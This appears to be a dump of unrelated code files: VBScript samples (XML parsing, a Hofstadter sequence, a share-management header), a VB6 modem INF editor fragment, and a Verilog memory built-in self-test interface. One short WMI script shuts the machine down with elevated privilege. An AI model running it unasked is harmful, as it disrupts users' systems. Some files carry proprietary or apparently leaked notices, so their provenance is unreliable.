Number = CDec(H & Options)
Num = CDec(H & List1.ItemData(Item))
If List1.Selected(Item) = True Then
Options = Hex(Num + Number)
ElseIf Options <> "00" Then
Options = Hex(Number - Num)
End If
If Len(Options) < 2 Then
Options = "0" & Options
End If
Update
End Sub
Private Sub SSTab1_Click(PreviousTab As Integer)
Dim CurrentTab As Integer
Dim strFirst As Integer
CurrentTab = SSTab1.Tab + 1
Select Case CurrentTab
Case "1"
strFirst = Len(HKR & Q)
Text1.SelStart = strFirst
Text1.SelLength = Len(Response)
StatusBar1.Panels.Item(1).Text = ""
cmdAddValue.Enabled = False
Case "2"
strFirst = Len(HKR & Q & Response & Q & One & " ")
Text1.SelStart = strFirst
Text1.SelLength = Len(State)
StatusBar1.Panels.Item(1).Text = "Data/Fax modem response."
cmdAddValue.Enabled = False
Case "3"
strFirst = Len(HKR & Q & Response & Q & One & " " & State & Delim & " ")
Text1.SelStart = strFirst
Text1.SelLength = Len(Options)
StatusBar1.Panels.Item(1).Text = "Used only for Response States of type Negotiation Progress or Connect. "
cmdAddValue.Enabled = True
Case "4"
strFirst = Len(HKR & Q & Response & Q & One & " " & State & Delim & " " & Options & Delim & " ")
Text1.SelStart = strFirst
Text1.SelLength = Len(DCE)
StatusBar1.Panels.Item(1).Text = "Specifies the modem-to-modem line speed negotiated."
cmdAddValue.Enabled = False
Case "5"
strFirst = Len(HKR & Q & Response & Q & One & " " & State & Delim & " " & Options & Delim & " " & DCE & Delim & " ")
Text1.SelStart = strFirst
Text1.SelLength = Len(DTE)
StatusBar1.Panels.Item(1).Text = "Specified only to cause Unimodem to change its DTE port speed."
cmdAddValue.Enabled = False
End Select
Text1.SetFocus
End Sub
Public Sub EditCopy()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
Text1.SetFocus
Clipboard.Clear
Clipboard.SetText Text1.Text
End Sub
Public Sub EditPaste()
Paste (Clipboard.GetText)
End Sub
Private Sub Text1_Click()
Dim Start As Integer
Dim Plus As Integer
Plus = Len(Response)
Start = Text1.SelStart
If 16 < Start And Start < (18 + Plus) Then
If SSTab1.Tab = 0 Then
Exit Sub
End If
SSTab1.Tab = 0
End If
If (21 + Plus) < Start And Start < (27 + Plus) Then
If SSTab1.Tab = 1 Then
Exit Sub
End If
SSTab1.Tab = 1
End If
If (26 + Plus) < Start And Start < (32 + Plus) Then
If SSTab1.Tab = 2 Then
Exit Sub
End If
SSTab1.Tab = 2
End If
If (31 + Plus) < Start And Start < (46 + Plus) Then
If SSTab1.Tab = 3 Then
Exit Sub
End If
SSTab1.Tab = 3
End If
If (45 + Plus) < Start And Start < (60 + Plus) Then
If SSTab1.Tab = 4 Then
Exit Sub
End If
SSTab1.Tab = 4
End If
' MsgBox Text1.SelStart
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
WhichTab = SSTab1.Tab
Paste (Text1.Text)
SSTab1.Tab = WhichTab
End If
End Sub
|
<reponame>mullikine/RosettaCodeData
Set objXMLDoc = CreateObject("msxml2.domdocument")
objXMLDoc.load("In.xml")
Set item_nodes = objXMLDoc.selectNodes("//item")
i = 1
For Each item In item_nodes
If i = 1 Then
WScript.StdOut.Write item.xml
WScript.StdOut.WriteBlankLines(2)
Exit For
End If
Next
Set price_nodes = objXMLDoc.selectNodes("//price")
list_price = ""
For Each price In price_nodes
list_price = list_price & price.text & ", "
Next
WScript.StdOut.Write list_price
WScript.StdOut.WriteBlankLines(2)
Set name_nodes = objXMLDoc.selectNodes("//name")
list_name = ""
For Each name In name_nodes
list_name = list_name & name.text & ", "
Next
WScript.StdOut.Write list_name
WScript.StdOut.WriteBlankLines(2)
|
<gh_stars>10-100
on error resume next
set service = getobject("winmgmts:{impersonationLevel=impersonate,(shutdown)}")
set osset = service.instancesof ("Win32_OperatingSystem")
for each os in osset
result = os.Shutdown ()
if err <> 0 then
WScript.Echo Hex(Err.Number), Err.Description
else
WScript.Echo "Shutdown returned result " & result
end if
next
|
10 INPUT "Input a number ",num
20 PRINT num
|
<filename>ips/mbist/READONLY_LVISION_MEM0_INTERFACE.vb
/*
----------------------------------------------------------------------------------
- -
- Copyright Mentor Graphics Corporation -
- All Rights Reserved -
- -
- THIS WORK CONTAINS TRADE SECRET AND PROPRIETARY -
- INFORMATION WHICH IS THE PROPERTY OF MENTOR GRAPHICS -
- CORPORATION OR ITS LICENSORS AND IS SUBJECT -
- TO LICENSE TERMS. -
- -
----------------------------------------------------------------------------------
- File created by: membistipGenerate -
- Version: 2017.1 -
- Created on: Sat Feb 23 20:09:40 CST 2019 -
----------------------------------------------------------------------------------
*/
`timescale 100 ps / 10 ps
/*------------------------------------------------------------------------------
Module : READONLY_LVISION_MEM0_INTERFACE
Description : This module contains the interface logic for the memory
module SKAA110_512X32BM1A
--------------------------------------------------------------------------------
Interface Options in Effect
BistDataPipelineStages : 0;
BitGrouping : 1;
BitSliceWidth : 1;
ConcurrentWrite : OFF
ConcurrentRead : OFF
ControllerType : PROG;
DataOutStage : NONE;
DefaultAlgorithm : READONLY;
DefaultOperationSet : ROM;
InternalScanLogic : OFF;
LocalComparators : ON;
MemoryType : ROM;
ObservationLogic : ON;
OutputEnableControl : SYSTEM;
PipelineSerialDataOut : OFF;
ScanWriteThru : OFF;
ShadowRead : OFF;
ShadowWrite : OFF;
Stop-On-Error Limit : 4096;
TransparentMode : NONE;
-------------------------------------------------------- (c) Mentor Graphics */
module READONLY_LVISION_MEM0_INTERFACE (
CS_IN,
CS,
OE_IN,
OE,
A8_IN,
A8,
A7_IN,
A7,
A6_IN,
A6,
A5_IN,
A5,
A4_IN,
A4,
A3_IN,
A3,
A2_IN,
A2,
A1_IN,
A1,
A0_IN,
A0,
DO31,
DO30,
DO29,
DO28,
DO27,
DO26,
DO25,
DO24,
DO23,
DO22,
DO21,
DO20,
DO19,
DO18,
DO17,
DO16,
DO15,
DO14,
DO13,
DO12,
DO11,
DO10,
DO9,
DO8,
DO7,
DO6,
DO5,
DO4,
DO3,
DO2,
DO1,
DO0,
SCAN_OBS_FLOPS,
BIST_CMP,
BIST_SELECT,
BIST_OUTPUTENABLE,
BIST_COL_ADD,
BIST_ROW_ADD,
BIST_TESTDATA_SELECT_TO_COLLAR,
BIST_CLK,
BIST_ASYNC_RESETN, // Asynchronous reset enable (active low)
BIST_SHIFT_COLLAR,
BIST_SO,
BIST_SI,
BIST_COLLAR_SETUP,
BIST_COLLAR_HOLD,
BIST_SETUP0,
BIST_CLEAR_DEFAULT,
BIST_CLEAR,
BIST_GO,
LV_TM,
TCK_MODE,
MBISTPG_COMPARE_MISR ,
BIST_COLLAR_EN,
RESET_REG_SETUP2 ,
BIST_EN
);
input MBISTPG_COMPARE_MISR;
wire [31:0] BIST_PORT0_MISR_Q;
wire [31:0] BIST_PORT0_MISR_QB;
wire [31:0] BIST_PORT0_MISR_SIGNATURE;
reg MISR_SIGNATURE;
wire MISR_GO_INT;
reg MISR_GO_R;
input CS_IN;
output CS;
input OE_IN;
output OE;
input A8_IN;
output A8;
input A7_IN;
output A7;
input A6_IN;
output A6;
input A5_IN;
output A5;
input A4_IN;
output A4;
input A3_IN;
output A3;
input A2_IN;
output A2;
input A1_IN;
output A1;
input A0_IN;
output A0;
input DO31;
input DO30;
input DO29;
input DO28;
input DO27;
input DO26;
input DO25;
input DO24;
input DO23;
input DO22;
input DO21;
input DO20;
input DO19;
input DO18;
input DO17;
input DO16;
input DO15;
input DO14;
input DO13;
input DO12;
input DO11;
input DO10;
input DO9;
input DO8;
input DO7;
input DO6;
input DO5;
input DO4;
input DO3;
input DO2;
input DO1;
input DO0;
output [2:0] SCAN_OBS_FLOPS;
input BIST_CMP;
wire CMP_EN;
input BIST_SELECT;
input BIST_OUTPUTENABLE;
input [3:0] BIST_COL_ADD;
input [4:0] BIST_ROW_ADD;
input BIST_EN;
input BIST_TESTDATA_SELECT_TO_COLLAR;
input BIST_ASYNC_RESETN;
reg BIST_INPUT_SELECT;
wire BIST_EN_RETIME1_IN;
wire BIST_EN_RETIME1;
reg BIST_EN_RETIME1_TCK_MODE;
wire BIST_EN_RETIME2_IN;
reg BIST_EN_RETIME2;
wire BIST_ON_INT;
wire BIST_INPUT_SELECT_RST;
wire BIST_EN_RST;
wire BIST_EN_RST_TCK_MODE;
wire TCK_MODE_INT;
input BIST_CLK;
wire BIST_CLK_INT;
input BIST_SHIFT_COLLAR;
input BIST_SI;
output BIST_SO;
input BIST_COLLAR_SETUP;
input BIST_COLLAR_HOLD;
input BIST_CLEAR_DEFAULT;
input BIST_CLEAR;
output BIST_GO;
input BIST_SETUP0;
input LV_TM;
input TCK_MODE;
wire BIST_ON;
input BIST_COLLAR_EN;
wire STATUS_SO;
input RESET_REG_SETUP2;
wire BIST_MISR_PORT0_SO;
wire BIST_MISR_PORT0_STB;
wire BIST_INPUT_SELECT_INT;
wire [0:0] ERROR,ERROR_R;
reg [2:0] SCAN_OBS_FLOPS;
wire [31:0] DATA_TO_MEM;
wire [31:0] DATA_FROM_MEM;
wire [31:0] DATA_FROM_MEM_EXP;
wire CS_TEST_IN;
reg CS_NOT_GATED;
wire CS_TO_MUX;
wire OE_TEST_IN;
reg OE;
wire OE_TO_MUX;
wire A8_TEST_IN;
reg A8;
wire A7_TEST_IN;
reg A7;
wire A6_TEST_IN;
reg A6;
wire A5_TEST_IN;
reg A5;
wire A4_TEST_IN;
reg A4;
wire A3_TEST_IN;
reg A3;
wire A2_TEST_IN;
reg A2;
wire A1_TEST_IN;
reg A1;
wire A0_TEST_IN;
reg A0;
wire DO31;
wire DO31_SCAN_IN;
wire DO30;
wire DO30_SCAN_IN;
wire DO29;
wire DO29_SCAN_IN;
wire DO28;
wire DO28_SCAN_IN;
wire DO27;
wire DO27_SCAN_IN;
wire DO26;
wire DO26_SCAN_IN;
wire DO25;
wire DO25_SCAN_IN;
wire DO24;
wire DO24_SCAN_IN;
wire DO23;
wire DO23_SCAN_IN;
wire DO22;
wire DO22_SCAN_IN;
wire DO21;
wire DO21_SCAN_IN;
wire DO20;
wire DO20_SCAN_IN;
wire DO19;
wire DO19_SCAN_IN;
wire DO18;
wire DO18_SCAN_IN;
wire DO17;
wire DO17_SCAN_IN;
wire DO16;
wire DO16_SCAN_IN;
wire DO15;
wire DO15_SCAN_IN;
wire DO14;
wire DO14_SCAN_IN;
wire DO13;
wire DO13_SCAN_IN;
wire DO12;
wire DO12_SCAN_IN;
wire DO11;
wire DO11_SCAN_IN;
wire DO10;
wire DO10_SCAN_IN;
wire DO9;
wire DO9_SCAN_IN;
wire DO8;
wire DO8_SCAN_IN;
wire DO7;
wire DO7_SCAN_IN;
wire DO6;
wire DO6_SCAN_IN;
wire DO5;
wire DO5_SCAN_IN;
wire DO4;
wire DO4_SCAN_IN;
wire DO3;
wire DO3_SCAN_IN;
wire DO2;
wire DO2_SCAN_IN;
wire DO1;
wire DO1_SCAN_IN;
wire DO0;
wire DO0_SCAN_IN;
wire LOGIC_HIGH = 1'b1;
wire USE_DEFAULTS;
wire BIST_COLLAR_HOLD_INT;
reg BIST_COLLAR_EN_REG;
wire BIST_SETUP0_SYNC;
//---------------------------
// Memory Interface Main Code
//---------------------------
assign BIST_CLK_INT = BIST_CLK;
//----------------------
//-- BIST_ON Sync-ing --
//----------------------
assign BIST_SETUP0_SYNC = BIST_SETUP0 & BIST_ON;
//-------------------
//-- Collar Enable --
//-------------------
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN) begin
BIST_COLLAR_EN_REG <= 1'b0;
end else begin
BIST_COLLAR_EN_REG <= BIST_COLLAR_EN;
end
end
//----------------------
//-- BIST_EN Retiming --
//----------------------
assign BIST_EN_RST = ~BIST_ASYNC_RESETN;
assign BIST_EN_RETIME1_IN = BIST_EN;
// Posedge retiming cell for non-TCK mode
READONLY_LVISION_MBISTPG_RETIMING_CELL MBIST_NTC_RETIMING_CELL (
.CLK ( BIST_CLK_INT ), // i
.R ( ~BIST_ASYNC_RESETN ), // i
.RETIME_IN ( BIST_EN_RETIME1_IN ), // i
.RETIME_OUT ( BIST_EN_RETIME1 ) // o
);
// synopsys async_set_reset "BIST_EN_RST_TCK_MODE"
assign BIST_EN_RST_TCK_MODE = (~TCK_MODE | LV_TM) | BIST_EN_RST;
// Negedge retiming flop for TCK mode
// synopsys async_set_reset "BIST_EN_RST_TCK_MODE"
always @ (negedge BIST_CLK_INT or posedge BIST_EN_RST_TCK_MODE) begin
if (BIST_EN_RST_TCK_MODE)
BIST_EN_RETIME1_TCK_MODE <= 1'b0;
else
BIST_EN_RETIME1_TCK_MODE <= BIST_EN_RETIME1_IN;
end
assign TCK_MODE_INT = TCK_MODE & ~LV_TM;
assign BIST_EN_RETIME2_IN = (TCK_MODE_INT) ? BIST_EN_RETIME1_TCK_MODE : BIST_EN_RETIME1;
// Posedge stage
//synopsys async_set_reset "BIST_EN_RST"
always @ (posedge BIST_CLK_INT or posedge BIST_EN_RST) begin
if (BIST_EN_RST)
BIST_EN_RETIME2 <= 1'b0;
else
if (~LV_TM)
BIST_EN_RETIME2 <= BIST_EN_RETIME2_IN;
end
// Retimed BIST_EN
assign BIST_ON_INT = BIST_EN_RETIME2;
assign BIST_ON = BIST_ON_INT;
assign BIST_INPUT_SELECT_RST = ~BIST_TESTDATA_SELECT_TO_COLLAR & ~LV_TM & ~BIST_EN_RETIME2_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
//synopsys sync_set_reset "BIST_INPUT_SELECT_RST"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
BIST_INPUT_SELECT <= 1'b0;
else
if (BIST_INPUT_SELECT_RST) begin
BIST_INPUT_SELECT <= 1'b0;
end else begin
BIST_INPUT_SELECT <= BIST_ON | BIST_INPUT_SELECT;
end
end
assign #(10.0) BIST_INPUT_SELECT_INT = BIST_INPUT_SELECT;
assign USE_DEFAULTS = ~BIST_SETUP0_SYNC | LV_TM;
assign BIST_COLLAR_HOLD_INT = BIST_COLLAR_HOLD;
//-----------------------
//-- Observation Logic --
//-----------------------
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
SCAN_OBS_FLOPS <= 3'b000;
else
SCAN_OBS_FLOPS <= {
CS_NOT_GATED ^ OE ^ A8 ^ A7 ,
A6 ^ A5 ^ A4 ^ A3 ,
A2 ^ A1 ^ A0
};
end
//--------------------------
//-- Memory Control Ports --
//--------------------------
// Port: CS LogicalPort: A Type: READ {{{
// Intercept functional signal with test mux
always @( CS_IN or CS_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : CS_NOT_GATED = CS_IN;
1'b1 : CS_NOT_GATED = CS_TEST_IN;
endcase
end
// Disable memory port during logic test
assign CS = CS_NOT_GATED & ~LV_TM ;
// Control logic during memory test
assign #(10.0) CS_TEST_IN = (BIST_COLLAR_EN & CS_TO_MUX);
assign CS_TO_MUX = BIST_SELECT;
// Port: CS }}}
// Port: OE LogicalPort: A Type: READ {{{
// Intercept functional signal with test mux
always @( OE_IN or OE_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : OE = OE_IN;
1'b1 : OE = OE_TEST_IN;
endcase
end
// Control logic during memory test
assign #(10.0) OE_TEST_IN = OE_TO_MUX;
assign OE_TO_MUX = BIST_OUTPUTENABLE;
// Port: OE }}}
//--------------------------
//-- Memory Address Ports --
//--------------------------
// Port: A8 LogicalPort: A Type: READ {{{
// Intercept functional signal with test mux
always @( A8_IN or A8_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A8 = A8_IN;
1'b1 : A8 = A8_TEST_IN;
endcase
end
// Address logic during memory test
wire [3:0] BIST_COL_ADD_SHADOW_A;
wire [4:0] BIST_ROW_ADD_SHADOW_A;
assign BIST_ROW_ADD_SHADOW_A[4] = BIST_ROW_ADD[4];
assign #(10.0) A8_TEST_IN = BIST_ROW_ADD_SHADOW_A[4];
// Port: A8 }}}
// Port: A7 LogicalPort: A Type: READ {{{
// Intercept functional signal with test mux
always @( A7_IN or A7_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A7 = A7_IN;
1'b1 : A7 = A7_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_ROW_ADD_SHADOW_A[3] = BIST_ROW_ADD[3];
assign #(10.0) A7_TEST_IN = BIST_ROW_ADD_SHADOW_A[3];
// Port: A7 }}}
// Port: A6 LogicalPort: A Type: READ {{{
// Intercept functional signal with test mux
always @( A6_IN or A6_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A6 = A6_IN;
1'b1 : A6 = A6_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_ROW_ADD_SHADOW_A[2] = BIST_ROW_ADD[2];
assign #(10.0) A6_TEST_IN = BIST_ROW_ADD_SHADOW_A[2];
// Port: A6 }}}
// Port: A5 LogicalPort: A Type: READ {{{
// Intercept functional signal with test mux
always @( A5_IN or A5_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A5 = A5_IN;
1'b1 : A5 = A5_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_ROW_ADD_SHADOW_A[1] = BIST_ROW_ADD[1];
assign #(10.0) A5_TEST_IN = BIST_ROW_ADD_SHADOW_A[1];
// Port: A5 }}}
// Port: A4 LogicalPort: A Type: READ {{{
// Intercept functional signal with test mux
always @( A4_IN or A4_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A4 = A4_IN;
1'b1 : A4 = A4_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_ROW_ADD_SHADOW_A[0] = BIST_ROW_ADD[0];
assign #(10.0) A4_TEST_IN = BIST_ROW_ADD_SHADOW_A[0];
// Port: A4 }}}
// Port: A3 LogicalPort: A Type: READ {{{
// Intercept functional signal with test mux
always @( A3_IN or A3_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A3 = A3_IN;
1'b1 : A3 = A3_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_COL_ADD_SHADOW_A[3] = BIST_COL_ADD[3];
assign #(10.0) A3_TEST_IN = BIST_COL_ADD_SHADOW_A[3];
// Port: A3 }}}
// Port: A2 LogicalPort: A Type: READ {{{
// Intercept functional signal with test mux
always @( A2_IN or A2_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A2 = A2_IN;
1'b1 : A2 = A2_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_COL_ADD_SHADOW_A[2] = BIST_COL_ADD[2];
assign #(10.0) A2_TEST_IN = BIST_COL_ADD_SHADOW_A[2];
// Port: A2 }}}
// Port: A1 LogicalPort: A Type: READ {{{
// Intercept functional signal with test mux
always @( A1_IN or A1_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A1 = A1_IN;
1'b1 : A1 = A1_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_COL_ADD_SHADOW_A[1] = BIST_COL_ADD[1];
assign #(10.0) A1_TEST_IN = BIST_COL_ADD_SHADOW_A[1];
// Port: A1 }}}
// Port: A0 LogicalPort: A Type: READ {{{
// Intercept functional signal with test mux
always @( A0_IN or A0_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A0 = A0_IN;
1'b1 : A0 = A0_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_COL_ADD_SHADOW_A[0] = BIST_COL_ADD[0];
assign #(10.0) A0_TEST_IN = BIST_COL_ADD_SHADOW_A[0];
// Port: A0 }}}
//----------------------
//-- Data From Memory --
//----------------------
assign DATA_FROM_MEM = {
DO31,
DO30,
DO29,
DO28,
DO27,
DO26,
DO25,
DO24,
DO23,
DO22,
DO21,
DO20,
DO19,
DO18,
DO17,
DO16,
DO15,
DO14,
DO13,
DO12,
DO11,
DO10,
DO9,
DO8,
DO7,
DO6,
DO5,
DO4,
DO3,
DO2,
DO1,
DO0
};
assign CMP_EN = BIST_CMP;
wire CLEAR_MISR;
wire COMPARE_MISR;
assign BIST_MISR_PORT0_STB = BIST_CMP;
assign CLEAR_MISR = BIST_CLEAR;
assign COMPARE_MISR = MBISTPG_COMPARE_MISR & BIST_COLLAR_EN_REG;
READONLY_LVISION_MEM0_INTERFACE_MISR MBISTPG_PORT0_MISR (
.DOUT ( DATA_FROM_MEM ) ,
.BIST_CLK ( BIST_CLK_INT ) ,
.BIST_SHIFT ( BIST_SHIFT_COLLAR ) ,
.BIST_HOLD ( BIST_COLLAR_HOLD_INT ) ,
.BIST_ON ( BIST_ON ) ,
.BIST_SI ( BIST_SI ) ,
.BIST_MISR_STB ( BIST_MISR_PORT0_STB ) ,
.BIST_COLLAR_EN ( BIST_COLLAR_EN ) ,
.BIST_CLEAR ( CLEAR_MISR ) ,
.MISR_Q ( BIST_PORT0_MISR_Q ) ,
.MISR_QB ( BIST_PORT0_MISR_QB ) ,
.BIST_ASYNC_RESETN ( BIST_ASYNC_RESETN ),
.BIST_SO ( BIST_MISR_PORT0_SO )
);
READONLY_LVISION_MEM0_INTERFACE_MISR_STRAP MEM0_PORT0_MISR_STRAP (
.MISR_IN ( BIST_PORT0_MISR_Q ) ,
.MISR_INB ( BIST_PORT0_MISR_QB ) ,
.MISR_SIGNATURE ( BIST_PORT0_MISR_SIGNATURE )
);
always @( COMPARE_MISR or MISR_GO_R or BIST_PORT0_MISR_SIGNATURE ) begin
if ( MISR_GO_R ) begin
if ( COMPARE_MISR ) begin
MISR_SIGNATURE = MISR_GO_R & (&BIST_PORT0_MISR_SIGNATURE);
end else begin
MISR_SIGNATURE = MISR_GO_R ;
end
end else begin
MISR_SIGNATURE = 1'b0;
end
end
assign MISR_GO_INT = COMPARE_MISR ? MISR_SIGNATURE : MISR_GO_R;
always @(posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if ( ~ BIST_ASYNC_RESETN )
MISR_GO_R <= 1'b0;
else
if ( CLEAR_MISR )
MISR_GO_R <= 1'b1;
else
MISR_GO_R <= BIST_ON & MISR_GO_R & MISR_GO_INT;
end
assign BIST_GO = MISR_GO_R;
assign STATUS_SO = BIST_MISR_PORT0_SO;
assign BIST_SO = STATUS_SO;
endmodule // READONLY_LVISION_MEM0_INTERFACE
module READONLY_LVISION_MEM0_INTERFACE_MISR (
DOUT,
BIST_CLK,
BIST_SHIFT,
BIST_HOLD,
BIST_SI,
BIST_MISR_STB,
BIST_COLLAR_EN,
BIST_CLEAR,
BIST_ON,
MISR_Q,
MISR_QB,
BIST_ASYNC_RESETN,
BIST_SO
);
input BIST_CLK;
input BIST_SHIFT;
input BIST_HOLD;
input BIST_ON;
input BIST_SI;
input BIST_MISR_STB;
input BIST_COLLAR_EN;
input BIST_CLEAR;
input BIST_ASYNC_RESETN;
input [31:0] DOUT;
output BIST_SO;
output [31:0] MISR_Q;
output [31:0] MISR_QB;
wire CAPTURE_MISR;
reg [31:0] MISR_SEG0;
reg [31:0] MISR_SEG0_INT;
assign MISR_Q = {
MISR_SEG0[31:0]
};
assign MISR_QB = ~MISR_Q;
assign CAPTURE_MISR = BIST_MISR_STB & BIST_COLLAR_EN;
always @(DOUT or CAPTURE_MISR or MISR_SEG0 ) begin
if (CAPTURE_MISR) begin
MISR_SEG0_INT[0] = DOUT[0] ^ MISR_SEG0[31];
MISR_SEG0_INT[1] = DOUT[1] ^ MISR_SEG0[0] ^ MISR_SEG0[31];
MISR_SEG0_INT[2] = DOUT[2] ^ MISR_SEG0[1];
MISR_SEG0_INT[3] = DOUT[3] ^ MISR_SEG0[2];
MISR_SEG0_INT[4] = DOUT[4] ^ MISR_SEG0[3];
MISR_SEG0_INT[5] = DOUT[5] ^ MISR_SEG0[4];
MISR_SEG0_INT[6] = DOUT[6] ^ MISR_SEG0[5];
MISR_SEG0_INT[7] = DOUT[7] ^ MISR_SEG0[6];
MISR_SEG0_INT[8] = DOUT[8] ^ MISR_SEG0[7];
MISR_SEG0_INT[9] = DOUT[9] ^ MISR_SEG0[8];
MISR_SEG0_INT[10] = DOUT[10] ^ MISR_SEG0[9];
MISR_SEG0_INT[11] = DOUT[11] ^ MISR_SEG0[10];
MISR_SEG0_INT[12] = DOUT[12] ^ MISR_SEG0[11];
MISR_SEG0_INT[13] = DOUT[13] ^ MISR_SEG0[12];
MISR_SEG0_INT[14] = DOUT[14] ^ MISR_SEG0[13];
MISR_SEG0_INT[15] = DOUT[15] ^ MISR_SEG0[14];
MISR_SEG0_INT[16] = DOUT[16] ^ MISR_SEG0[15];
MISR_SEG0_INT[17] = DOUT[17] ^ MISR_SEG0[16];
MISR_SEG0_INT[18] = DOUT[18] ^ MISR_SEG0[17];
MISR_SEG0_INT[19] = DOUT[19] ^ MISR_SEG0[18];
MISR_SEG0_INT[20] = DOUT[20] ^ MISR_SEG0[19];
MISR_SEG0_INT[21] = DOUT[21] ^ MISR_SEG0[20];
MISR_SEG0_INT[22] = DOUT[22] ^ MISR_SEG0[21];
MISR_SEG0_INT[23] = DOUT[23] ^ MISR_SEG0[22];
MISR_SEG0_INT[24] = DOUT[24] ^ MISR_SEG0[23];
MISR_SEG0_INT[25] = DOUT[25] ^ MISR_SEG0[24];
MISR_SEG0_INT[26] = DOUT[26] ^ MISR_SEG0[25];
MISR_SEG0_INT[27] = DOUT[27] ^ MISR_SEG0[26] ^ MISR_SEG0[31];
MISR_SEG0_INT[28] = DOUT[28] ^ MISR_SEG0[27] ^ MISR_SEG0[31];
MISR_SEG0_INT[29] = DOUT[29] ^ MISR_SEG0[28];
MISR_SEG0_INT[30] = DOUT[30] ^ MISR_SEG0[29];
MISR_SEG0_INT[31] = DOUT[31] ^ MISR_SEG0[30];
end else begin
MISR_SEG0_INT = MISR_SEG0;
end
end
// synopsys sync_set_reset "BIST_CLEAR"
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @(posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if ( ~ BIST_ASYNC_RESETN ) begin
MISR_SEG0 <= 32'd0;
end else begin
if ( BIST_SHIFT ) begin
MISR_SEG0 <= {BIST_SI, MISR_SEG0[31:1]};
end else begin
if ( BIST_CLEAR ) begin
MISR_SEG0 <= 32'b00000000000000000000000000000000;
end else begin
if ( ~BIST_HOLD & BIST_COLLAR_EN ) begin
MISR_SEG0 <= MISR_SEG0_INT;
end
end
end
end
end
assign BIST_SO = MISR_SEG0[0];
endmodule // READONLY_LVISION_MEM0_INTERFACE_MISR
|
'Initialize the r and the s arrays.
Set r = CreateObject("System.Collections.ArrayList")
Set s = CreateObject("System.Collections.ArrayList")
'Set initial values of r.
r.Add "" : r.Add 1
'Set initial values of s.
s.Add "" : s.Add 2
'Populate the r and the s arrays.
For i = 2 To 1000
ffr(i)
ffs(i)
Next
'r function
Function ffr(n)
r.Add r(n-1)+s(n-1)
End Function
's function
Function ffs(n)
'index is the value of the last element of the s array.
index = s(n-1)+1
Do
'Add to s if the current index is not in the r array.
If r.IndexOf(index,0) = -1 Then
s.Add index
Exit Do
Else
index = index + 1
End If
Loop
End Function
'Display the first 10 values of r.
WScript.StdOut.Write "First 10 Values of R:"
WScript.StdOut.WriteLine
For j = 1 To 10
If j = 10 Then
WScript.StdOut.Write "and " & r(j)
Else
WScript.StdOut.Write r(j) & ", "
End If
Next
WScript.StdOut.WriteBlankLines(2)
'Show that the first 40 values of r plus the first 960 values of s include all the integers from 1 to 1000 exactly once.
'The idea here is to create another array(integer) with 1000 elements valuing from 1 to 1000. Go through the first 40 values
'of the r array and remove the corresponding element in the integer array. Do the same thing with the first 960 values of
'the s array. If the resultant count of the integer array is 0 then it is a pass.
Set integers = CreateObject("System.Collections.ArrayList")
For k = 1 To 1000
integers.Add k
Next
For l = 1 To 960
If l <= 40 Then
integers.Remove(r(l))
End If
integers.Remove(s(l))
Next
WScript.StdOut.Write "Test for the first 1000 integers: "
If integers.Count = 0 Then
WScript.StdOut.Write "Passed!!!"
WScript.StdOut.WriteLine
Else
WScript.StdOut.Write "Miserably Failed!!!"
WScript.StdOut.WriteLine
End If
|
<reponame>npocmaka/Windows-Server-2003<filename>admin/wmi/wbem/scripting/samples/admin/share.vbs
'********************************************************************
'*
'* File: SHARE.VBS
'* Created: July 1998
'* Version: 1.0
'*
'* Main Function: Lists, creates, or deletes shares from a machine.
'* Usage: 1. SHARE.VBS /L [/S:server] [/U:username] [/W:password] [/O:outputfile] [/Q]
'* 2. SHARE.VBS /C [/S:server] /N:name /P:path [/T:type] [/C:comment]
'* [/U:username] [/W:password] [/Q]
'* 3. SHARE.VBS /D [/S:server] /N:name [/U:username] [/W:password] [/Q]
'*
'* Copyright (C) 1998 Microsoft Corporation
'*
'********************************************************************
OPTION EXPLICIT
ON ERROR RESUME NEXT
'Define constants
CONST CONST_ERROR = 0
CONST CONST_WSCRIPT = 1
CONST CONST_CSCRIPT = 2
CONST CONST_SHOW_USAGE = 3
CONST CONST_PROCEED = 4
CONST CONST_CREATE = "CREATE"
